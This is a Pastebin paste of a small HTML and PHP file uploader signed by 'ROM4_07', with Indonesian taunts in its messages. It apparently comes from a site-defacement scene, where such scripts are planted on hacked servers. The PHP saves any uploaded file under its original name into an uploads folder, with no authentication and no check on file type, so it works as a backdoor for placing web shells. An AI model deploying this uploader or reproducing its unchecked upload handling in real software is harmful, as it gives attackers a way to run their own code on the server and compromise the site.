Advertisement
RokiAdhytama

simple uploader by ROM4_07

Jun 30th, 2019
683
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1.  
  2. <html>
  3. <head>
  4. <title>Upload your files</title>
  5. <style>
  6. font{
  7. font-familly:Orbitron;
  8. text-align:center;
  9. letter-spacing:1px;
  10. color:red;
  11. text-shadow: 5px 5px 8px white;
  12. }
  13. </style>
  14. </head>
  15. <body background="http://i68.tinypic.com/1124ebn.jpg">
  16.  
  17. <table height="100%" width="100%">
  18. <td>
  19. <center>
  20. <form enctype="multipart/form-data" action="upload.php" method="POST">
  21. <p><font size="5" color="red">Upload your file</font></p>
  22. <input type="file" name="uploaded_file"></input>
  23. <input type="submit" value="Gas Upload"></input>
  24. </form>
  25. <font color="black" size="3">Copyright @2019 ROM4_07</font>
  26. </center>
  27. </td>
  28. </table>
  29. </body>
  30. </html>
  31. <?php
  32. if(!empty($_FILES['uploaded_file']))
  33. {
  34. $path = "uploads/";
  35. $path = $path . basename( $_FILES['uploaded_file']['name']);
  36. if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
  37. echo "The file ". basename( $_FILES['uploaded_file']['name']).
  38. " Sudah Di Upload Mas !!!";
  39. } else{
  40. echo "Gagal Upload Mas !!! HEHEHEHE...";
  41. }
  42. }
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement